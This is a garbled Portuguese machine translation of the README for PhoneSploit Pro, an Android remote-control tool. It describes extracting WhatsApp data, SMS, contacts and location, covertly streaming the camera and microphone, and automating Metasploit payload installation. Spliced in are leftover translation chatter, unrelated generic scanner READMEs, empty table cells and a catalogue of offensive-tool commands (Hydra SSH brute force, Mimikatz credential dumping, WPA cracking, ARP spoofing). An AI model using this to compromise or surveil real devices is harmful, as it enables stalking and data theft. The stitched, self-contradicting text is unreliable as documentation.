
Uma ferramenta completa de hacking para assumir o controle remoto de dispositivos Android.
O canivete suíço para Android.
Uma ferramenta de hacking completa escrita em Python para assumir o controle remoto de dispositivos Android usando ADB, scrcpy, Nmap e Metasploit-Framework.
Conecte-se via USB ou Wi‑Fi e, em seguida, controle o dispositivo, extraia dados, transmita câmera e microfone, gerencie aplicativos e automatize um comprometimento completo com Metasploit, tudo a partir de um único menu.
Você não precisa mais memorizar comandos e argumentos, o PhoneSploit Pro faz isso por você. Escolha um número e execute.

| ---------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Conectar um dispositivo | Conectar-se a um dispositivo remotamente usando ADB. |
| Listar dispositivos conectados | Mostrar todos os dispositivos atualmente conectados ao ADB. |
| Desconectar todos os dispositivos | Desconectar todas as sessões ADB. |
| Seleção de múltiplos dispositivos | Se vários dispositivos ADB estiverem conectados (USB ou rede), escolher qual dispositivo usar para a sessão (ANDROID_SERIAL). |
| Parar servidor ADB | Parar o processo do servidor ADB. |
| Reiniciar servidor ADB | Reiniciar o processo do servidor ADB. |
| | Abrir um shell interativo no dispositivo conectado. |
| | Enviar keycodes para controlar o dispositivo remotamente. |
| | Ligar a tela, deslizar para cima e inserir uma senha quando necessário. |
| | Bloquear o dispositivo. |
| | Reiniciar ou reinicializar o dispositivo para , , ou . |
| | Desligar o dispositivo de destino. |
| | Tirar uma captura de tela e enviá-la ao computador automaticamente. |
| | Gravar a tela do dispositivo de destino por um tempo especificado e enviar a gravação ao computador automaticamente. |
| | Tirar capturas de tela ou gravações de tela e remover o arquivo do dispositivo de destino depois. |
| | Espelhar a tela e controlar o dispositivo de destino. |
| | Listar todos os arquivos e pastas no dispositivo de destino. |
| | Baixar um arquivo ou pasta do dispositivo de destino. |
| | Enviar um arquivo ou pasta do computador para o dispositivo de destino. |
| | Copiar todos os dados do WhatsApp para o computador. |
| | Copiar todas as capturas de tela para o computador. |
| | Copiar todas as fotos da câmera para o computador. |
| | Transmitir vídeo ao vivo da câmera frontal ou traseira do dispositivo de destino. |
| | Exportar todos os SMS do dispositivo para o computador. |
| | Exportar todos os contatos do dispositivo para o computador. |
| | Exportar todos os registros de chamadas do dispositivo para o computador. |
| | Iniciar um aplicativo no dispositivo. |
| | Instalar um APK do computador no dispositivo de destino. |
| | Instalar apps distribuídos como múltiplos APKs divididos (ex.: split bundles). |
| | Remover um aplicativo instalado. |
| | Listar todos os apps instalados no dispositivo de destino. |
| | Extrair o APK de um app instalado. |
| | Forçar a parada de um aplicativo em execução. |
| | Limpar armazenamento/dados de um app escolhido (redefinição de fábrica para esse app). |
| | Reiniciar um aplicativo (forçar parada e depois relançar). |
| | Conceder ou revogar uma permissão de tempo de execução para um app. |
| | Abrir uma URL no dispositivo de destino. |
| | Mostrar uma imagem ou foto no dispositivo de destino. |
| | Reproduzir um arquivo de áudio no dispositivo de destino. |
| | Reproduzir um vídeo no dispositivo de destino. |
| | Enviar mensagens SMS pelo dispositivo de destino. |
| | Ler informações do dispositivo. |
| | Ler o status da bateria e detalhes relacionados. |
| | Gravar áudio do microfone. |
| | Transmitir áudio ao vivo do microfone. |
| | Gravar áudio interno do dispositivo. |
| | Transmitir áudio ao vivo do dispositivo. |
| | Fluxo automatizado do Metasploit: obter seu para definir ; criar um payload com , instalá-lo e executá-lo no dispositivo de destino; iniciar e configurar o para obter uma sessão . Uma sessão significa que o dispositivo está totalmente comprometido via Metasploit-Framework, e você pode executar outras ações a partir da sessão. |
| | Descobrir hosts na rede local para ajudar a encontrar um endereço IP de destino; sondar portas TCP e com detecção de serviços e mostrar impressões digitais e dicas relacionadas a ADB para possíveis alvos Android/ADB. |
| | Encaminhar, reverter, listar, remover ou remover todas as regras de encaminhamento de porta TCP via ADB. |
| | Capturar um trecho da saída do e salvá-lo em um arquivo no computador. |
| | Transmitir ao vivo do dispositivo. |
| | Mostrar um instantâneo das interfaces de rede e da conectividade no dispositivo. |
| | Abrir a tela de do sistema no dispositivo. |
| | Ler as configurações de localidade e idioma do dispositivo. |
| | Definir (permanecer ativa via USB, permanecer sempre ativa ou desativar a permanência ativa). |
| | Despejar o status detalhado do Wi‑Fi do dispositivo. |
| | Mostrar informações de endereçamento IP da WLAN. |
| | Ligar ou desligar o rádio Wi‑Fi. |
| | Executar verificações de ping contra um host para testar a conectividade. |
| | Listar as redes Wi‑Fi salvas conhecidas pelo dispositivo. |
| | Verificações heurísticas para sinais comuns de acesso root. |
| | Visualizar as configurações de exibição atuais; definir a resolução da tela () a partir de predefinições 720p/1080p/2K/4K em retrato ou paisagem, ou um personalizado; definir a densidade de exibição () a partir de predefinições comuns de DPI ou um valor personalizado; alternar o dimensionamento da exibição (); e redefinir tudo para os padrões do dispositivo. |
| | Ler, definir ou limpar a área de transferência do dispositivo. |
| | Recuperar a última localização GPS conhecida do dispositivo (latitude, longitude, provedor). |
| | Ler IMEI, Android ID, número de série e outros identificadores de hardware/software. |
| | Mostrar estatísticas de uso de apps em primeiro plano em 1 dia / 7 dias / todo o período. |
| | Alternar dados móveis, Bluetooth, NFC e modo avião. |
| | Falsificar um nível de bateria, simular carregamento ou descarregamento, ou redefinir as leituras. |
| | Definir volume de mídia, brilho da tela, tempo limite da tela e modo Não Perturbe. |
| | Publicar uma notificação, expandir ou recolher o painel de notificações e as configurações rápidas. |
| | Enviar uma imagem ao dispositivo e abrir o seletor de papel de parede do sistema. |
| | Escanear e listar redes Wi‑Fi próximas com SSID, BSSID, frequência e sinal. |
| | Iniciar ou parar um hotspot Wi‑Fi somente local diretamente do dispositivo. |
| | Parear, conectar, alternar para TCP/IP ou voltar para USB — todos os comandos ADB sem fio. |
| | Desativar um app do sistema ou do usuário, ou reativá-lo depois. |
| | Suspender um app (ícone esmaecido, sem uso de dados) ou retomá-lo. |
| | Colocar um app na lista de permissões da otimização de bateria do Doze, removê-lo da lista ou mostrar a lista de permissões da bateria. |
| | Alterar o launcher/app inicial padrão para qualquer pacote de launcher instalado, ou mostrar o app inicial atual. |## Requisitos
python3 — Python 3.10 ou mais recentepip — Instalador de pacotes para Pythonadb — Android Debug Bridge (ADB) das Android SDK Platform Toolsmetasploit-framework — Metasploit-Framework (msfvenom e msfconsole)scrcpy — scrcpynmap — NmapUse o instalador incluído para configurar todas as dependências automaticamente. Ele detecta o seu sistema operacional e usa o gerenciador de pacotes apropriado.
chmod +x install.sh ./install.sh
Para instalar apenas ferramentas específicas: `./install.sh --components adb,nmap,pip`
Para prompts por componente: `./install.sh --interactive`
### Windows
Execute o PowerShell **como Administrador** e, em seguida:```
Set-ExecutionPolicy -Scope Process Bypass
.\install.ps1
Para instalar apenas ferramentas específicas: .\install.ps1 -Components adb,nmap,pip
Para prompts por componente: .\install.ps1 -Interactive
Se uma dependência estiver ausente, o programa mostra um aviso de Dependências Ausentes. Pressione I para executar o instalador, Y para continuar mesmo assim, ou N para sair.
[!IMPORTANT] PhoneSploit Pro requer a versão 3.10 ou superior do Python. Atualize o Python antes de executar o programa.
Certifique-se de que todo o software necessário esteja instalado.``` git clone https://github.com/AzeemIdrisi/PhoneSploit-Pro.git cd PhoneSploit-Pro/
Aqui está a tradução do conteúdo fornecido:
---
## Instalação
### Requisitos
- Python 3.8 ou superior
- pip (gerenciador de pacotes do Python)
### Passos de Instalação
1. Clone o repositório:
```bash
git clone https://github.com/example/tool.git
cd tool
Instale as dependências:
pip install -r requirements.txt
Execute a ferramenta:
python main.py --help
Após a instalação, você pode configurar a ferramenta editando o arquivo config.yaml localizado no diretório raiz. As opções de configuração incluem:
api_key: Sua chave de API para serviços externos.timeout: Tempo limite padrão para solicitações de rede (em segundos).verbose: Defina como true para habilitar a saída detalhada.Exemplo de configuração:
api_key: "sua_chave_aqui"
timeout: 30
verbose: false
Para começar a usar a ferramenta, execute o seguinte comando:
python main.py scan --target example.com
Isso iniciará uma varredura no alvo especificado e exibirá os resultados no console.
A ferramenta suporta as seguintes opções:
--target: Especifica o alvo da varredura (obrigatório).--output: Define o arquivo de saída para salvar os resultados.--verbose: Habilita a saída detalhada.--threads: Número de threads a serem usadas durante a varredura (padrão: 10).Exemplo com opções adicionais:
python main.py scan --target example.com --output resultados.txt --threads 20
Se você encontrar problemas durante a instalação ou execução, verifique o seguinte:
---``` python3 -m venv .venv source .venv/bin/activate pip install -r requirements.txt
Aqui está a tradução para português do conteúdo fornecido:
---
## Instalação
Para instalar o **ProjectDiscovery Nuclei**, clone o repositório e compile a partir do código-fonte:
```bash
git clone https://github.com/projectdiscovery/nuclei.git
cd nuclei/cmd/nuclei
go build
Isso produzirá o binário nuclei no diretório atual. Alternativamente, você pode usar o instalador oficial:
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
Depois de instalado, você pode executar o nuclei com o seguinte comando para verificar a ajuda e as opções disponíveis:
nuclei -h
O Nuclei é executado enviando solicitações HTTP para os alvos e comparando as respostas com os templates. O uso básico é o seguinte:
nuclei -u https://example.com
Isso executará todos os templates padrão contra o alvo especificado. Para usar templates específicos, use a flag -t:
nuclei -u https://example.com -t cves/2021/CVE-2021-44228.yaml
Para escanear vários alvos, forneça um arquivo com a lista de hosts:
nuclei -l hosts.txt
Para executar apenas templates de severidade crítica:
nuclei -u https://example.com -severity critical
Para salvar os resultados em um arquivo JSON:
nuclei -u https://example.com -json -o resultados.json
Para usar um diretório específico de templates:
nuclei -u https://example.com -t nucleis-templates/
Nota: O Nuclei requer uma conexão de rede ativa para baixar e atualizar os templates. Use nuclei -update-templates para manter os templates atualizados.```
python3 phonesploitpro.py
> [!TIP]
> Só precisa de ativar o ambiente virtual (`source .venv/bin/activate`) sempre que abrir um novo terminal antes de executar o programa.
### Windows
Certifique-se de que todo o software [necessário](#requirements) está instalado.```
git clone https://github.com/AzeemIdrisi/PhoneSploit-Pro.git
cd PhoneSploit-Pro/
Aqui está a tradução do conteúdo:
## Instalação
### Requisitos
- Python 3.8 ou superior
- pip (gerenciador de pacotes do Python)
- Acesso à internet para baixar dependências
### Passos de Instalação
1. Clone o repositório:
```bash
git clone https://github.com/example/tool.git
cd tool
(Opcional) Crie um ambiente virtual:
python -m venv venv
source venv/bin/activate # No Windows: venv\Scripts\activate
Instale as dependências:
pip install -r requirements.txt
Verifique a instalação:
python tool.py --help
Execute uma verificação padrão:
python tool.py scan --target example.com
Execute com opções avançadas:
python tool.py scan --target example.com --threads 10 --timeout 30
Saída normal:
[+] Verificação iniciada em example.com
[+] Porta 80 aberta
[+] Porta 443 aberta
[+] Verificação concluída em 12.3 segundos
Saída detalhada:
[DEBUG] Carregando lista de portas...
[DEBUG] 1000 portas carregadas
[+] Verificação iniciada em example.com
[DEBUG] Enviando pacote SYN para a porta 80
[+] Porta 80 aberta
[DEBUG] Enviando pacote SYN para a porta 443
[+] Porta 443 aberta
[+] Verificação concluída em 12.3 segundos
O arquivo de configuração config.yaml permite personalizar o comportamento da ferramenta:
# config.yaml
scan:
threads: 10
timeout: 30
ports: [80, 443, 8080, 8443]
exclude_ports: [22, 23]
output:
format: json
file: results.json
verbose: false
proxy:
enabled: false
url: http://proxy.example.com:8080
A ferramenta suporta as seguintes variáveis de ambiente:
| Variável | Descrição |
|---|
A ferramenta expõe uma API REST para integração com outros sistemas:
POST /api/v1/scanInicia uma nova verificação.
Corpo da solicitação:
{
"target": "example.com",
"ports": [80, 443],
"options": {
"threads": 5,
"timeout": 10
}
}
Resposta:
{
"scan_id": "abc123",
"status": "in_progress",
"started_at": "2024-01-15T10:30:00Z"
}
GET /api/v1/scan/{scan_id}Recupera o status e os resultados de uma verificação.
Resposta:
{
"scan_id": "abc123",
"status": "completed",
"started_at": "2024-01-15T10:30:00Z",
"completed_at": "2024-01-15T10:30:12Z",
"results": {
"open_ports": [80, 443],
"services": {
"80": "http",
"443": "https"
}
}
}
DELETE /api/v1/scan/{scan_id}Cancela uma verificação em andamento.
Resposta:
{
"scan_id": "abc123",
"status": "cancelled"
}
Erro: ModuleNotFoundError: No module named 'requests'
Solução: Instale as dependências necessárias:
pip install -r requirements.txt
Erro: PermissionError: [Errno 13] Permission denied
Solução: Execute a ferramenta com privilégios elevados:
sudo python tool.py scan --target example.com
Erro: ConnectionTimeoutError
Solução: Aumente o valor de --timeout ou verifique sua conectividade de rede:
python tool.py scan --target example.com --timeout 60
P: A ferramenta é compatível com Python 2?
R: Não. A ferramenta requer Python 3.8 ou superior.
P: Posso usar a ferramenta em ambientes corporativos?
R: Sim, mas certifique-se de ter autorização por escrito para verificar os sistemas de destino.
P: A ferramenta coleta dados de uso?
R: Não. A ferramenta não coleta nenhum dado de telemetria ou uso.
Para obter suporte, abra um problema no repositório do GitHub ou entre em contato com a equipe de desenvolvimento:
Este projeto está licenciado sob a Licença MIT - consulte o arquivo LICENSE para obter detalhes.
python -m venv .venv
.\.venv\Scripts\activate
pip install -r requirements.txt
```
1. Baixe e extraia o `platform-tools` mais recente de [aqui](https://developer.android.com/studio/releases/platform-tools.html#downloads).
2. Copie todos os arquivos do diretório `platform-tools` ou `adb` extraído para o diretório **PhoneSploit-Pro** e, em seguida, execute:```
python phonesploitpro.py
```
---
## Tutorial de configuração do dispositivo
### Configurando um telefone Android pela primeira vez
- **Ativando as Opções do desenvolvedor**
1. Abra `Configurações`.
2. Vá para `Sobre o telefone`.
3. Encontre `Número da versão`.
4. Toque em `Número da versão` sete vezes.
5. Insira seu padrão, PIN ou senha para ativar o menu `Opções do desenvolvedor`.
6. O menu `Opções do desenvolvedor` agora aparecerá no seu menu de Configurações.
- **Ativando a depuração USB**
1. Abra `Configurações`.
2. Vá para `Sistema` > `Opções do desenvolvedor`.
3. Role para baixo e ative `Depuração USB`.
- **Conectando com um computador**
1. Conecte seu dispositivo Android e o computador host `adb` à mesma rede Wi‑Fi.
2. Conecte o dispositivo ao computador host com um cabo USB.
3. Abra um terminal no computador e execute o seguinte comando:```
adb devices
```
4. Um pop-up aparecerá no telefone Android quando você conectar a um novo PC pela primeira vez: `Allow USB debugging?`.
5. Selecione `Always allow from this computer` e toque em `Allow`.
6. Em seguida, no terminal, execute o seguinte comando:```
adb tcpip 5555
```
7. Agora pode ligar o telemóvel Android ao computador via Wi‑Fi usando `adb`.
8. Desligue o cabo USB.
9. Vá a `Definições` > `Sobre o telefone` > `Estado` > `Endereço IP` e anote o `endereço IP` do telemóvel.
10. Execute o **PhoneSploit Pro**, escolha `Connect a device` e introduza o `endereço IP` do alvo para ligar via Wi‑Fi.
### Ligar o telemóvel Android da próxima vez
1. Ligue o dispositivo Android e o computador anfitrião à mesma rede Wi‑Fi.
2. Execute o **PhoneSploit Pro**, escolha `Connect a device` e introduza o `endereço IP` do alvo para ligar via Wi‑Fi.
---
## Compatibilidade
Esta ferramenta foi testada em:
- ✅ Ubuntu
- ✅ Linux Mint
- ✅ Kali Linux
- ✅ Fedora
- ✅ Arch Linux
- ✅ Parrot Security OS
- ✅ Windows 11
- ✅ Termux (Android)
> [!NOTE]
> As novas funcionalidades são testadas principalmente em **Linux**, pelo que o **Linux** é recomendado para executar o PhoneSploit Pro.
> Algumas funcionalidades podem não funcionar corretamente no Windows.
---
## Instalar ferramentas manualmente
Se preferir instalar as ferramentas você mesmo, ou se o instalador automático não estiver disponível para a sua plataforma, utilize as secções abaixo.
### ADB
#### Linux
Abra um terminal e execute os seguintes comandos:
- **Debian / Ubuntu**```
sudo apt update
```
I need the actual content of chunk 25 to translate it. Please provide the Markdown text you want translated.```
sudo apt install adb
```
- **Fedora**```
sudo dnf install android-tools
```
- **Arch Linux / Manjaro**```
sudo pacman -Sy android-tools
```
Para outras distribuições Linux, consulte: [Downloads das platform-tools do Android](https://developer.android.com/studio/releases/platform-tools#downloads)
#### macOS
Abra um terminal e execute o seguinte comando:```
brew install android-platform-tools
```
Ou baixe de: [Downloads das platform-tools do Android](https://developer.android.com/studio/releases/platform-tools.html#downloads)
#### Windows
Baixe de: [Downloads das platform-tools do Android](https://developer.android.com/studio/releases/platform-tools.html#downloads)
#### Termux```
pkg update
```
Aqui está a tradução do conteúdo fornecido:
---
## Instalação
### Requisitos
- Python 3.8 ou superior
- pip (gerenciador de pacotes do Python)
### Passos de Instalação
1. Clone o repositório:
```bash
git clone https://github.com/example/tool.git
cd tool
```
2. Instale as dependências:
```bash
pip install -r requirements.txt
```
3. Execute a ferramenta:
```bash
python main.py --help
```
### Configuração
Após a instalação, você pode configurar a ferramenta editando o arquivo `config.yaml` localizado no diretório raiz. As opções de configuração incluem:
- `api_key`: Sua chave de API para serviços externos.
- `timeout`: Tempo limite padrão para solicitações de rede (em segundos).
- `verbose`: Habilita a saída detalhada (true/false).
Exemplo de configuração:
```yaml
api_key: "sua_chave_aqui"
timeout: 30
verbose: true
```
### Uso Básico
Para começar a usar a ferramenta, execute o seguinte comando:
```bash
python main.py scan --target example.com
```
Isso iniciará uma varredura no alvo especificado e exibirá os resultados no console.
### Opções de Linha de Comando
A ferramenta oferece várias opções de linha de comando para personalizar seu comportamento:
- `--target`: Especifica o alvo da varredura (obrigatório).
- `--output`: Define o arquivo de saída para salvar os resultados.
- `--format`: Escolhe o formato de saída (json, csv, txt).
- `--threads`: Define o número de threads para varreduras paralelas.
Exemplo com opções:
```bash
python main.py scan --target example.com --output resultados.json --format json --threads 10
```
### Solução de Problemas
Se você encontrar problemas durante a instalação ou uso, verifique o seguinte:
- Certifique-se de que o Python 3.8 ou superior está instalado.
- Verifique se todas as dependências foram instaladas corretamente.
- Consulte a documentação oficial para obter mais informações.
Para relatar bugs ou solicitar novos recursos, abra uma issue no repositório do GitHub.```
pkg install android-tools
```
### Metasploit-Framework
#### Linux e macOS```
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
chmod 755 msfinstall && \
./msfinstall
```
- **macOS (Homebrew)** — O Metasploit é distribuído como um [Homebrew Cask](https://formulae.brew.sh/cask/metasploit) (não `brew install` sem `--cask`):```
brew install --cask metasploit
```
Ou siga: [Instalando o Metasploit no Linux / macOS](https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html#installing-metasploit-on-linux--macos)
Ou visite: [Download do Metasploit](https://www.metasploit.com/download)
#### Windows
Visite: [Download do Metasploit](https://www.metasploit.com/download)
Ou consulte: [Windows: antivírus e instaladores](https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html#windows-anti-virus-software-flags-the-contents-of-these-packages)
### scrcpy
Visite a página do `scrcpy` no GitHub para obter as instruções de instalação mais recentes: [scrcpy — obtenha o aplicativo](https://github.com/Genymobile/scrcpy#get-the-app)
**No Windows**: Copie todos os arquivos da pasta **scrcpy** extraída para a pasta **PhoneSploit-Pro**.
> [!IMPORTANT]
> Se o `scrcpy` não estiver disponível para a sua distribuição Linux (por exemplo, **Kali Linux**), você pode instalá-lo manualmente ([Guia para Linux](https://github.com/Genymobile/scrcpy/blob/master/doc/linux.md))
> ou compilá-lo em poucos passos ([Guia de compilação](https://github.com/Genymobile/scrcpy/blob/master/doc/build.md#build-scrcpy)).
### Nmap
#### Linux
Abra um terminal e execute os seguintes comandos:
- **Debian / Ubuntu**```
sudo apt update
```
# Ferramentas de Segurança Ofensiva
## Ferramentas de Exploração
### Metasploit Framework
O **Metasploit Framework** é uma infraestrutura de código aberto que você pode usar para testes de segurança, desenvolvimento de exploits e pesquisa de vulnerabilidades. O código pode ser usado em sistemas Linux, Windows e macOS.
O framework Metasploit é um conjunto de ferramentas para desenvolvimento e execução de exploits. A ferramenta inclui a infraestrutura de segurança mais conhecida para explorações, e suporta desenvolvimento de código aberto colaborativo.
```bash
# Instalação no Linux
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
```
### BeEF (Browser Exploitation Framework)
O **BeEF** é uma ferramenta de teste de penetração focada no navegador da web. O BeEF é uma ferramenta de exploração que permite ao testador de penetração avaliar o ambiente de segurança real de um alvo usando vetores de ataque do lado do cliente.
```bash
# Clonar o repositório
git clone https://github.com/beefproject/beef.git
cd beef
./install
```
### SQLMap
O **sqlmap** é uma ferramenta de teste de penetração de código aberto que automatiza o processo de detecção e exploração de falhas de injeção de SQL e assume o controle de servidores de banco de dados. Ele vem com um mecanismo de detecção poderoso, muitos recursos de nicho para o testador de penetração final e uma ampla gama de switches que abrangem desde a coleta de impressões digitais do banco de dados, acesso a dados subjacentes, recuperação de arquivos no sistema de arquivos e execução de comandos no sistema operacional por meio de canais fora de banda.
```bash
# Exemplo de uso
sqlmap -u "http://example.com/page.php?id=1" --dbs
```
### Hashcat
O **hashcat** é o recuperador de senhas mais rápido do mundo. Ele é uma ferramenta de auditoria e recuperação de senhas que suporta mais de 300 algoritmos de hash altamente otimizados. O hashcat atualmente suporta Linux, Windows, macOS e CPUs/GPUs baseadas em Linux.
```bash
# Exemplo de ataque de dicionário
hashcat -m 0 -a 0 hash.txt wordlist.txt
```
### John the Ripper
O **John the Ripper** é uma ferramenta rápida de quebra de senhas, atualmente disponível para muitas variantes de Unix, Windows, DOS, BeOS e OpenVMS. Seu principal propósito é detectar senhas Unix fracas. Além de hashes de senha criptografados por vários pacotes Unix, ele também lida com hashes Kerberos AFS e Windows LM/NT, além de muitos outros com patches contribuídos.
```bash
# Exemplo de uso
john --wordlist=wordlist.txt hash.txt
```
### Nmap
O **Nmap** (Network Mapper) é uma ferramenta gratuita e de código aberto para descoberta de rede e auditoria de segurança. Muitos administradores de sistemas e rede também o consideram útil para tarefas como inventário de rede, gerenciamento de cronogramas de atualização de serviços e monitoramento do tempo de atividade de hosts ou serviços.
```bash
# Exemplo de varredura
nmap -sV -p- 192.168.1.1
```
### Wireshark
O **Wireshark** é o analisador de protocolos de rede mais amplamente utilizado do mundo. Ele permite que você veja o que está acontecendo em sua rede em um nível microscópico e é o padrão de fato (e muitas vezes de jure) em muitas empresas comerciais e sem fins lucrativos, agências governamentais e instituições educacionais.
```bash
# Capturar pacotes na interface eth0
wireshark -i eth0
```
### Burp Suite
O **Burp Suite** é uma plataforma líder para testar a segurança de aplicações web. Ele tem várias ferramentas que trabalham juntas para apoiar todo o processo de teste, desde o mapeamento inicial e análise da superfície de ataque de uma aplicação, até a descoberta e exploração de vulnerabilidades de segurança.
### OWASP ZAP
O **Zed Attack Proxy (ZAP)** é uma ferramenta de teste de segurança de aplicações web gratuita e de código aberto. Ele é projetado para ser usado tanto por pessoas com experiência em segurança quanto por desenvolvedores e testadores funcionais que são novos em testes de segurança.
```bash
# Iniciar o ZAP
zap.sh -daemon -port 8080
```
### Aircrack-ng
O **Aircrack-ng** é um conjunto completo de ferramentas para avaliar a segurança de redes Wi-Fi. Ele se concentra em diferentes áreas da segurança Wi-Fi: monitoramento, ataque, teste e quebra. Todas as ferramentas são de linha de comando, o que permite scripts pesados.
```bash
# Capturar pacotes
airodump-ng wlan0mon
# Quebrar chave WPA
aircrack-ng capture.cap -w wordlist.txt
```
### Hydra
O **Hydra** é uma ferramenta de quebra de login paralelizada que suporta numerosos protocolos para atacar. É muito rápida e flexível, e novas ferramentas são fáceis de adicionar. Esta ferramenta é uma prova de conceito, projetada para dar aos pesquisadores e consultores de segurança a chance de mostrar como obter acesso não autorizado a um sistema remotamente.
```bash
# Ataque de força bruta SSH
hydra -l admin -P passwords.txt ssh://192.168.1.1
```
### Nikto
O **Nikto** é um scanner de servidor web de código aberto que executa verificações abrangentes contra servidores web para múltiplos itens, incluindo mais de 6700 arquivos potencialmente perigosos/programas, verifica versões desatualizadas de mais de 1250 servidores e problemas de versão específicos em mais de 270 servidores.
```bash
# Exemplo de varredura
nikto -h http://example.com
```
### Gobuster
O **Gobuster** é uma ferramenta usada para forçar diretórios/URIs ou nomes de hosts DNS (subdomínios) em aplicações web específicas. Ele é escrito em Go e é conhecido por sua velocidade e eficiência.
```bash
# Forçar diretórios
gobuster dir -u http://example.com -w wordlist.txt
```
### Dirb
O **DIRB** é um Scanner de Conteúdo Web. Ele procura por diretórios web existentes (e/ou) arquivos. Ele vem com seu próprio dicionário de palavras embutido e pode ser usado como ferramenta de força bruta.
```bash
# Exemplo de uso
dirb http://example.com
```
### Maltego
O **Maltego** é uma ferramenta de mineração e coleta de informações forenses que traça gráficos para análise de links e determinação de relacionamentos entre dados em tempo real. Ele é usado principalmente em investigações online para determinar relacionamentos entre pessoas, empresas, sites, domínios e infraestrutura de internet.
### Social Engineering Toolkit (SET)
O **Social-Engineer Toolkit (SET)** é uma estrutura de ataque de engenharia social de código aberto projetada para testes de penetração avançados. O SET foi projetado especificamente para realizar ataques avançados contra o elemento humano.
```bash
# Iniciar o SET
setoolkit
```
### Empire
O **Empire** é uma estrutura de pós-exploração pura baseada em PowerShell e Python. Ele é uma solução clara para a necessidade de uma estrutura de pós-exploração avançada. Ele permite que você execute o agente em máquinas sem precisar de ferramentas de desenvolvimento ou compiladores.
### Cobalt Strike
O **Cobalt Strike** é uma ferramenta de pós-exploração comercial que modela um adversário avançado. Ele fornece uma interface gráfica de usuário para simular ataques direcionados e permite que os operadores vejam o que está acontecendo em tempo real.
### BloodHound
O **BloodHound** usa teoria de grafos para revelar os caminhos ocultos e muitas vezes não intencionais para o domínio Active Directory de um ambiente. Ele permite que os atacantes encontrem rapidamente caminhos de escalonamento de privilégios altamente complexos que seriam quase impossíveis de encontrar manualmente.
```bash
# Executar o coletor SharpHound
SharpHound.exe -c All
```
### Mimikatz
O **Mimikatz** é uma ferramenta de pós-exploração bem conhecida que permite a extração de credenciais de texto simples, hashes, tickets Kerberos PIN e chaves de certificado da memória. Ele também executa pass-the-hash, pass-the-ticket, ataques de construção de golden ticket e manipulação de certificados.
```bash
# Extrair credenciais
privilege::debug
sekurlsa::logonpasswords
```
### Responder
O **Responder** é uma ferramenta de teste de penetração que permite a execução de ataques LLMNR, NBT-NS e MDNS com uma resposta falsa. Ele é usado para envenenar respostas durante ataques de rede e capturar hashes de autenticação.
```bash
# Executar o Responder
responder -I eth0
```
### Ettercap
O **Ettercap** é uma ferramenta abrangente para ataques man-in-the-middle. Ele apresenta sniffing de conexões ao vivo, filtragem de conteúdo em tempo real e muitas outras truques interessantes. Ele suporta sniffing ativo e passivo de muitos protocolos e inclui muitos recursos para análise de rede e host.
```bash
# Ataque ARP spoofing
ettercap -T -M arp:remote /192.168.1.1// /192.168.1.100//
```
### Bettercap
O **Bettercap** é uma estrutura de ataque de rede poderosa, flexível e portátil criada por pesquisadores para pesquisadores e desenvolvedores de jogos. Ele visa oferecer uma alternativa ao Ettercap com funcionalidades modernas e uma interface amigável.
```bash
# Iniciar o Bettercap
sudo bettercap -iface eth0
```
### YARA
O **YARA** é uma ferramenta destinada a ajudar pesquisadores de malware a identificar e classificar amostras de malware. Com o YARA, você pode criar descrições de famílias de malware com base em correspondências textuais ou binárias.
```yaml
rule ExampleRule
{
strings:
$a = "malware"
$b = { 6A 40 68 00 30 00 00 6A 14 8D 91 }
condition:
$a or $b
}
```
### Volatility
O **Volatility** é uma estrutura de análise forense de memória de código aberto para resposta a incidentes e análise de malware. Ele permite que você extraia artefatos digitais de amostras de memória volátil (RAM) e é usado por profissionais de segurança em todo o mundo.
```bash
# Listar processos
volatility -f memory.dump imageinfo
volatility -f memory.dump pslist
```
### Autopsy
O **Autopsy** é uma plataforma de forense digital e uma interface gráfica para o The Sleuth Kit e outras ferramentas forenses digitais. Ele é usado para investigar o que aconteceu em um computador e pode até mesmo recuperar arquivos excluídos.
```bash
# Iniciar o Autopsy
autopsy
```
### OpenVAS
O **OpenVAS** é um scanner de vulnerabilidades completo. Seus recursos incluem testes de vulnerabilidade não autenticados e autenticados, várias interfaces de alto e baixo nível para o scanner de vulnerabilidades, e um feed de vulnerabilidades com mais de 50.000 testes de vulnerabilidade de rede.
### Nessus
O **Nessus** é uma ferramenta proprietária de scanner de vulnerabilidades criada pela Tenable. Ele é um dos scanners de vulnerabilidades mais utilizados no mundo e é conhecido por sua precisão e baixos falsos positivos.
### Qualys
O **Qualys** é um provedor de soluções de segurança em nuvem e conformidade. Sua plataforma Qualys Cloud Platform oferece uma suíte integrada de soluções de segurança que permite que as organizações identifiquem, evitem e protejam contra vulnerabilidades de segurança.
### Snort
O **Snort** é um sistema de prevenção de intrusão de rede de código aberto (NIDS/NIPS) capaz de realizar análise de tráfego em tempo real e registro de pacotes em redes IP. O Snort pode executar análise de protocolo, busca de conteúdo e pode ser usado para detectar uma variedade de ataques e sondas.
```bash
# Executar o Snort em modo IDS
snort -i eth0 -c /etc/snort/snort.conf
```
### Suricata
O **Suricata** é um mecanismo de detecção de intrusão de rede de alto desempenho e um mecanismo de prevenção de intrusão (IDS/IPS). Ele é desenvolvido pela Open Information Security Foundation e sua comunidade.
```bash
# Executar o Suricata
suricata -c /etc/suricata/suricata.yaml -i eth0
```
### Zeek (anteriormente Bro)
O **Zeek** é uma plataforma de monitoramento de segurança de rede de código aberto. Ele é passivo, baseado em rede e pode ser usado para monitorar o tráfego de rede e detectar atividades suspeitas.
```bash
# Executar o Zeek
zeek -i eth0
```
### Cuckoo Sandbox
O **Cuckoo Sandbox** é um sistema de análise de malware de código aberto. Ele é usado para analisar arquivos automaticamente e coletar resultados de análise abrangentes sobre o que o malware faz dentro de um ambiente isolado.
```bash
# Submeter uma amostra
cuckoo submit sample.exe
```
### REMnux
O **REMnux** é uma distribuição Linux para análise reversa e de malware. Ela vem pré-carregada com ferramentas gratuitas e personalizadas usadas para análise de malware, incluindo ferramentas para análise de memória, engenharia reversa e análise de rede.
### Kali Linux
